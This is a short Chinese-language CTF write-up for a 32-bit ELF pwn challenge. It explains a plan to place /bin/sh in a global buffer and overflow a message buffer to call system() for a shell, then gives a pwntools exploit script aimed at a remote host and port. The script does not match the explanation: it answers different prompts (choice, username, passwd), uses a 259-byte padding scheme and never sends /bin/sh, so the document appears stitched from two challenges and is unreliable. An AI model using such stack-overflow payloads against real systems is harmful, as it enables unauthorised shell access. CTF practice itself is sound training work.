题目描述
菜鸡认为自己需要一个字符串
Solution
首先检查文件信息:

这是 ELF32 文件,没有摘除符号表,栈不可执行,没有金丝雀,不是位置无关程序。运行程序,输入用户名和信息后退出。我们把它放 IDA 分析,该程序主要流程有: main() → hello()。

hello()函数如下:

这里的name是一个未初始化的全局变量,位于.bss section,大小为0x34。观察函数列表,题目给我们提供了一个pwn()函数:

基于上述条件,我们的漏洞利用思路如下:
- 读取
name的时候,我们输入/bin/sh - 溢出
message,把返回地址改成system();由于这是 ELF32,函数传参用栈,我们可以压入/bin/sh来夺 Shell
Python 脚本如下:
from pwn import *#conn = process('./004')conn = remote('111.200.241.244', 61667)ret_addr = 0x0804868bpayload = b'A' * (0x14 + 4) + p32(ret_addr) + \b'A' * (259 - 0x14 - 4 - 4)conn.sendlineafter('Your choice:', '1')conn.sendlineafter('username:', 'root')conn.sendlineafter('passwd:', payload)conn.interactive()
运行效果如下:

